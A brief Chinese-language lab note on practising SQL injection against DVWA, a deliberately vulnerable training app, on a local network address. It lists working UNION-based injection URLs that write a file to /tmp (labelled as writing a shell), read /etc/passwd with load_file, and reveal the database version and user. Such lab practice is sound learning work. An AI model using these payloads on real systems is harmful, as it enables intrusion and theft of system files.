SQL注入

下载了dvwa，对SQL注入进行演练。

使用了以下语句：

写shell:

http://192.168.0.106/dvwa/vulnerabilities/sqli_blind/
?id='+union+select+2,'hello'+into+outfile+'/tmp/tt32.php'++--+
&Submit=Submit#

读取文件:

http://192.168.0.106/dvwa/vulnerabilities/sqli_blind/
?id='+union+select+2,load_file('/etc/passwd')+--+
&Submit=Submit#

读取PHP版本/查看当前用户

http://192.168.0.106/dvwa/vulnerabilities/sqli_blind/
?id='+union+select+version(),user()+--+
&Submit=Submit#
